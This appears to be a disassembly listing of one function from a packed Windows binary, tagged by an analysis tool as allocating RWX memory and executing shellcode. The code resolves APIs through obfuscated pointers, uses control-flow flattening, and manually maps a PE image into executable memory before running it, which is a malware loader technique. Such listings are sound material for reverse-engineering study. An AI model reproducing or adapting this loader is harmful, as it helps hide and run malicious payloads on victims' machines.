Function at 0x405bac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x80
mov esi, esp
mov dword [esi + 0x68], ebp
lea ecx, [esi + 0x70]
mov dword [ecx - 4], esp
or dword [ecx + 8], 0xffffffff
mov dword [ecx + 4], 0x422810
mov eax, dword fs:[0]
mov dword [ecx], eax
mov dword fs:[0], ecx
mov edi, 0xf0345671
mov eax, dword [0x446870]
add eax, edi
call eax
mov eax, dword [0x446874]
add eax, edi
call eax
mov dword [esi + 0xc], esp
push 0x1c
pop eax
call fcn.00422ae0
mov ebx, esp
lea ecx, [ebx + 4]
mov eax, dword [0x446878]
add eax, edi
mov edx, dword [ebp + 0xc]
push dword [edx + 4]
call eax
lea eax, [esi + 0x50]
mov dword [ebx], eax
mov ebx, eax
mov eax, dword [0x44687c]
add eax, edi
call eax
add esp, 0x1c
mov esp, dword [esi + 0xc]
mov eax, dword [0x446880]
add eax, edi
mov ecx, ebx
call eax
mov dword [esi + 0x1c], eax
mov eax, dword [0x446884]
add eax, edi
mov ecx, ebx
call eax
mov eax, 0x4cc48fbf
add eax, dword [0x446890]
call eax
lea ecx, [esi + 0x70]
and dword [ecx + 8], 0
push str.HELLO
call eax
push dword [esi + 0x1c]
call fcn.00401b8b
pop ecx
mov dword [esi + 0x14], eax
cmp dword [esi + 0x14], 0
je 0x40656a
mov eax, 0x2ef93b10
add eax, dword [0x446898]
call eax
push str.HELLO
call eax
push 5
push dword [esi + 0x1c]
call fcn.00402422
pop ecx
pop edx
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax + 0x34]
mov dword [esi + 8], eax
mov eax, 0xaf58c510
add eax, dword [0x44689c]
call eax
push str.HELLO
call eax
xor eax, eax
mov ecx, 0xd44f9c91
cmp eax, 6
mov edx, 0xb7884dc2
cmovb edx, ecx
mov edi, 0x289888c9
cmp edi, 0x9d27d8d7
je 0x405d2e
cmp edi, 0xb7884dc2
je 0x405d48
cmp edi, 0xcd4df181
je 0x405d62
cmp edi, 0x3d630e66
je 0x405d5c
cmp edi, 0x289888c9
je 0x405d55
cmp edi, 0x32bdb766
je 0x405d24
cmp edi, 0xd44f9c91
jne 0x405ccd
mov dword [esi + 0x37], 0xf49f9e95
mov dword [esi + 0x34], 0x95de8382
mov dword [esi + 0x30], 0x89988500
mov edi, 0x32bdb766
xor ebx, ebx
inc ebx
jmp 0x405ccd
mov dword [esi + 0x20], ebx
mov edi, 0x9d27d8d7
jmp 0x405ccd
mov edi, dword [esi + 0x20]
cmp edi, 2
mov edi, 0xcd4df181
mov ecx, 0xf6e5827a
cmove edi, ecx
mov ecx, 0xd44f9c91
jmp 0x405ccd
mov edi, 0x32bdb766
push 2
pop ebx
jmp 0x405ccd
mov edi, edx
jmp 0x405ccd
inc eax
jmp 0x405cbd
mov eax, 0x7c958834
add eax, dword [0x4468a0]
and dword [esi + 0x78], 0
lea ecx, [esi + 0x30]
call eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esi + 0xc], eax
xor eax, eax
mov ecx, 0x533f4cd3
cmp eax, 0x24
mov edi, 0xa4c6d250
cmovb edi, ecx
mov edx, 0x6796eb59
cmp edx, 0xa4c6d250
je 0x405e01
cmp edx, 0xb657fc6c
je 0x405e2f
cmp edx, 0x4c5443dc
je 0x405e0b
cmp edx, 0x7a9157eb
je 0x405e35
cmp edx, 0x6796eb59
je 0x405e28
cmp edx, 0x6b26809c
je 0x405df7
cmp edx, 0x533f4cd3
jne 0x405d97
movsd xmm0, qword [0x43cb02]
movsd qword [esi + 0x3e], xmm0
movupd xmm0, xmmword [0x43caf4]
movapd xmmword [esi + 0x30], xmm0
mov edx, 0x6b26809c
xor ebx, ebx
inc ebx
jmp 0x405d97
mov dword [esi + 0x20], ebx
mov edx, 0x4c5443dc
jmp 0x405d97
mov edx, 0x6b26809c
push 2
pop ebx
jmp 0x405d97
mov edx, dword [esi + 0x20]
cmp edx, 2
mov edx, 0x7a9157eb
mov ecx, 0xe4b171db
cmove edx, ecx
mov ecx, 0x533f4cd3
jmp 0x405d97
mov edx, edi
jmp 0x405d97
inc eax
jmp 0x405d87
mov eax, 0xbc3fcbd9
add eax, dword [0x4468a4]
and dword [esi + 0x78], 0
lea ecx, [esi + 0x30]
call eax
mov dword [esi + 0x10], eax
mov eax, 0x8e5847d7
add eax, dword [0x4468a8]
call eax
push str.HELLO
call eax
push dword [esi + 0x10]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esi + 0x14]
push dword [ecx + 0x34]
push 0xffffffffffffffff
call eax
mov eax, 0x95a1d756
add eax, dword [0x4468ac]
call eax
push str.HELLO
call eax
push 0x40
push 0x3000
mov eax, dword [esi + 0x14]
push dword [eax + 0x50]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 8], eax
cmp dword [esi + 8], 0
jne 0x40641a
cmp dword [esi + 0x18], 0
je 0x40657c
movsx eax, byte [section..data]
movsx ecx, byte [0x448fc8]
imul ecx, ecx, 0x1b
add ecx, eax
cmp ecx, 3
jne 0x405f0d
push 0x40
push 0x3000
mov eax, dword [esi + 0x14]
push dword [eax + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 8], eax
cmp dword [esi + 8], 0
jne 0x40641a
mov eax, 0xc450bae2
add eax, dword [0x4468b4]
call eax
push str.HELLO
call eax
push 0
call fcn.0042806e
pop eax
xor eax, eax
je 0x405f12
add byte [ecx - 0x41f0d3ba], cl
add eax, 0x446004
mov dword [esi + 0x2c], eax
movsx eax, byte [0x446004]
cvtsi2sd xmm0, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
addsd xmm1, xmm1
subsd xmm0, xmm1
mulsd xmm0, qword [0x43c220]
movsd qword [esi + 0x20], xmm0
movsx eax, byte [0x446001]
mov dword [esi + 0xc], eax
mov ecx, 0xe715f279
mov eax, dword [0x446710]
add eax, ecx
call eax
mov byte [esi + 8], al
mov eax, 0xe715f279
add eax, dword [0x446714]
call eax
mov byte [esi + 0x10], al
mov ecx, 0xe715f279
mov eax, dword [0x446718]
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi + 0xc]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*4]
movsx ecx, byte [0x446002]
xor edx, edx
div ecx
movsx ecx, byte [0x446003]
sub eax, ecx
mov dword [esi + 0x30], eax
mov eax, 0x347a9b7c
cmp eax, 0xaa4e09b5
je 0x4060ba
cmp eax, 0xae6df506
je 0x406176
cmp eax, 0xf3325ebb
je 0x406031
cmp eax, 0x1f68974
je 0x4060a6
cmp eax, 0x2c05c5ff
je 0x406180
cmp eax, 0x347a9b7c
je 0x40601b
cmp eax, 0x3dbd7d71
je 0x4060b0
cmp eax, 0x55ea2053
je 0x406176
cmp eax, 0x620f1a33
je 0x406176
cmp eax, 0x72e14890
je 0x406134
cmp eax, 0x4a870c6d
jne 0x405fa9
jmp 0x40618a
cmp dword [esi + 0x30], 0
mov eax, 0xf3325ebb
mov ecx, 0xaa4e09b5
cmove eax, ecx
jmp 0x405fa9
movsx eax, byte [section..data]
mov dword [esi + 0xc], eax
mov eax, dword [0x44671c]
mov ecx, 0xe715f279
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x446720]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov byte [esi + 0x10], al
movsx eax, byte [0x448fc8]
mov dword [esi + 0x18], eax
mov eax, dword [0x446724]
mov ecx, 0xe715f279
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
mov edx, dword [esi + 0xc]
add edx, ecx
movsx ecx, byte [esi + 0x10]
imul ecx, dword [esi + 0x18]
lea ecx, [ecx + ecx*2]
add ecx, edx
movsx eax, al
cmp ecx, eax
mov eax, 0x55ea2053
mov ecx, 0x1f68974
cmove eax, ecx
jmp 0x405fa9
mov eax, 0xaa4e09b5
jmp 0x405fa9
mov eax, 0x4a870c6d
jmp 0x405fa9
movsx eax, byte [0x446001]
mov dword [esi + 0xc], eax
mov eax, dword [0x446710]
mov ecx, 0xe715f279
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x446714]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov byte [esi + 0x10], al
mov eax, dword [0x446718]
mov ecx, 0xe715f279
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi + 0xc]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
imul eax, eax, 0xa
add eax, ecx
movsx ecx, byte [0x446002]
xor edx, edx
div ecx
movsx ecx, byte [0x446003]
cmp eax, ecx
mov eax, 0x2c05c5ff
mov ecx, 0xae6df506
cmove eax, ecx
jmp 0x405fa9
movsd xmm0, qword [esi + 0x20]
mov al, byte [0x446001]
mov eax, dword [0x446710]
mov ecx, 0xe715f279
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov eax, dword [0x446714]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov eax, dword [0x446718]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov al, byte [0x446002]
mov al, byte [0x446003]
mov eax, 0x3dbd7d71
jmp 0x405fa9
mov eax, 0x72e14890
jmp 0x405fa9
movsx eax, byte [0x446001]
add eax, 7
movsx ecx, byte [0x446002]
xor edx, edx
div ecx
movsx ecx, byte [0x446003]
and dword [esi + 0x78], 0
mov dword [esi + 8], 0
cmp eax, ecx
je 0x40641a
xor eax, eax
je 0x4061be
add byte [ecx - 0x41f0b3ba], cl
add eax, 0x446004
mov dword [esi + 0x4c], eax
movsx eax, byte [0x446004]
cvtsi2sd xmm0, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
addsd xmm1, xmm1
subsd xmm0, xmm1
mulsd xmm0, qword [0x43c228]
movsd qword [esi + 0x30], xmm0
movsx eax, byte [0x446001]
mov dword [esi + 0xc], eax
mov ecx, 0xe715f279
mov eax, dword [0x446710]
add eax, ecx
call eax
mov byte [esi + 8], al
mov eax, 0xe715f279
add eax, dword [0x446714]
call eax
mov byte [esi + 0x10], al
mov ecx, 0xe715f279
mov eax, dword [0x446718]
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi + 0xc]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
lea eax, [ecx + eax*4]
movsx ecx, byte [0x446002]
xor edx, edx
div ecx
movsx ecx, byte [0x446003]
sub eax, ecx
mov dword [esi + 0x2c], eax
mov eax, 0x347a9b7c
mov ecx, 0xe715f279
cmp eax, 0xaa4e09b5
je 0x406330
cmp eax, 0xae6df506
je 0x4062b4
cmp eax, 0xf3325ebb
je 0x40639f
cmp eax, 0x1f68974
je 0x4062ce
cmp eax, 0x2c05c5ff
je 0x4062df
cmp eax, 0x347a9b7c
je 0x4062bb
cmp eax, 0x3dbd7d71
je 0x4062d5
cmp eax, 0x55ea2053
je 0x4062b4
cmp eax, 0x620f1a33
je 0x4062b4
cmp eax, 0x72e14890
je 0x4062e9
cmp eax, 0x4a870c6d
jne 0x40625a
jmp 0x40640f
mov eax, 0x3dbd7d71
jmp 0x40625a
cmp dword [esi + 0x2c], 0
mov eax, 0xf3325ebb
mov edx, 0xaa4e09b5
cmove eax, edx
jmp 0x40625a
mov eax, 0xaa4e09b5
jmp 0x40625a
mov eax, 0x4a870c6d
jmp 0x40625a
mov eax, 0x72e14890
jmp 0x40625a
movsd xmm0, qword [esi + 0x30]
mov al, byte [0x446001]
mov eax, dword [0x446710]
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov eax, dword [0x446714]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov eax, dword [0x446718]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov al, byte [0x446002]
mov al, byte [0x446003]
mov eax, 0x3dbd7d71
jmp 0x406255
movsx eax, byte [0x446001]
mov dword [esi + 0xc], eax
mov eax, dword [0x446710]
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x446714]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov byte [esi + 0x10], al
mov eax, dword [0x446718]
mov ecx, 0xe715f279
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
add ecx, dword [esi + 0xc]
movsx edx, byte [esi + 0x10]
movsx eax, al
imul eax, edx
imul eax, eax, 0xa
add eax, ecx
movsx ecx, byte [0x446002]
xor edx, edx
div ecx
movsx ecx, byte [0x446003]
cmp eax, ecx
mov eax, 0x2c05c5ff
mov ecx, 0xae6df506
jmp 0x406407
movsx eax, byte [section..data]
mov dword [esi + 0xc], eax
mov eax, dword [0x44671c]
add eax, ecx
and dword [esi + 0x78], 0
call eax
mov byte [esi + 8], al
mov eax, dword [0x446720]
mov ecx, 0xe715f279
add eax, ecx
call eax
mov byte [esi + 0x10], al
movsx eax, byte [0x448fc8]
mov dword [esi + 0x18], eax
mov eax, dword [0x446724]
mov ecx, 0xe715f279
add eax, ecx
call eax
movsx ecx, byte [esi + 8]
mov edx, dword [esi + 0xc]
add edx, ecx
movsx ecx, byte [esi + 0x10]
imul ecx, dword [esi + 0x18]
lea ecx, [ecx + ecx*2]
add ecx, edx
movsx eax, al
cmp ecx, eax
mov eax, 0x55ea2053
mov ecx, 0x1f68974
cmove eax, ecx
jmp 0x406255
and dword [esi + 0x78], 0
mov dword [esi + 8], 0
mov eax, 0x41d2c9cd
add eax, dword [0x4468b8]
call eax
push str.HELLO
call eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 8]
mov dword [eax + 0x34], ecx
mov eax, 0x8ac36063
add eax, dword [0x4468bc]
call eax
push str.HELLO
call eax
mov eax, dword [esi + 0x14]
push dword [eax + 0x54]
push dword [esi + 0x1c]
push dword [esi + 8]
call fcn.004247c0
add esp, 0xc
mov eax, 0x124c2743
add eax, dword [0x4468c0]
call eax
push str.HELLO
call eax
mov eax, 0xe4f36cec
add eax, dword [str.X_aNe]
call eax
push str.HELLO
call eax
mov eax, dword [esi + 0x14]
add eax, 0xf8
mov dword [esi + 0x10], eax
xor ecx, ecx
mov eax, dword [esi + 0x14]
movzx eax, word [eax + 6]
cmp ecx, eax
jae 0x4064df
mov dword [esi + 0xc], ecx
imul eax, ecx, 0x28
mov edi, dword [esi + 0x10]
mov ecx, dword [edi + eax + 0xc]
add ecx, dword [esi + 8]
mov edx, dword [edi + eax + 0x14]
add edx, dword [esi + 0x1c]
push dword [edi + eax + 0x10]
push edx
push ecx
call fcn.004247c0
add esp, 0xc
mov eax, dword [0x4468c8]
mov ecx, 0xfc698bd0
add eax, ecx
call eax
push str.HELLO
call eax
mov ecx, dword [esi + 0xc]
inc ecx
jmp 0x406494
push dword [esi + 8]
call fcn.00402975
pop ecx
mov eax, 0x37ddcbed
add eax, dword [0x4468cc]
call eax
push str.HELLO
call eax
mov eax, dword [esi + 0x14]
mov eax, dword [eax + 0x28]
mov dword [esi + 0xc], eax
mov eax, 0x577b0a92
add eax, dword [0x4468d0]
call eax
push str.HELLO
call eax
mov edi, dword [esi + 0xc]
add edi, dword [esi + 8]
mov eax, 0xadf49c3
add eax, dword [0x4468d4]
call eax
push 0
push edi
push 0
call eax
mov eax, 0x5e8e43db
add eax, dword [0x4468d8]
call eax
push str.HELLO
call eax
mov eax, 0xf0345671
add eax, dword [0x446888]
lea ecx, [esi + 0x50]
call eax
mov eax, dword [esi + 0x70]
mov dword fs:[0], eax
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xa7e3af76
add eax, dword [0x446894]
call eax
push 0
call eax
pop eax
mov eax, 0x269f98e
add eax, dword [0x4468b0]
call eax
push str.HELLO
call eax
push 0
call fcn.0042806e
pop eax
push ebp
sub esp, 0x1c
lea esi, [ebp - 0x7c]
mov ebp, dword [esi + 0x68]
mov eax, 0xf0345671
add eax, dword [0x446888]
lea ecx, [esi + 0x50]
call eax
add esp, 0x1c
pop ebp
ret